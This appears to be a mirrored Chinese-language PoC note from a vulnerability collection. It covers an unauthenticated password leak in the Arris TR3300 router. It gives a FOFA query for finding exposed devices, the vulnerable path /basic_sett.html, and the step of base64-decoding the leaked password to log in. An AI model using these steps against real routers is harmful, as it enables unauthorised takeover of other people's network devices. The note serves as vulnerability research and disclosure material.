mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
33 lines
1.1 KiB
Markdown
33 lines
1.1 KiB
Markdown
|
# Arris TR3300路由器basic_sett存在未授权信息泄露漏洞
|
||
|
|
|
||
|
|
# 一、漏洞简介
|
||
|
|
Arris TR3300路由器basic_sett存在未授权信息泄露漏洞
|
||
|
|
|
||
|
|
# 二、影响版本
|
||
|
|
+ Arris路由器
|
||
|
|
|
||
|
|
# 三、资产测绘
|
||
|
|
+ fofa`body="base64encode(document.tF.pws.value)" || body="ARRIS TR3300"`
|
||
|
|
+ 特征
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
# 四、漏洞复现
|
||
|
|
```plain
|
||
|
|
/basic_sett.html
|
||
|
|
```
|
||
|
|
|
||
|
|
密码泄露：
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
base64解密后登录系统
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
> 更新: 2024-05-23 13:30:54
|
||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/bts33znxgp7g76vr>
|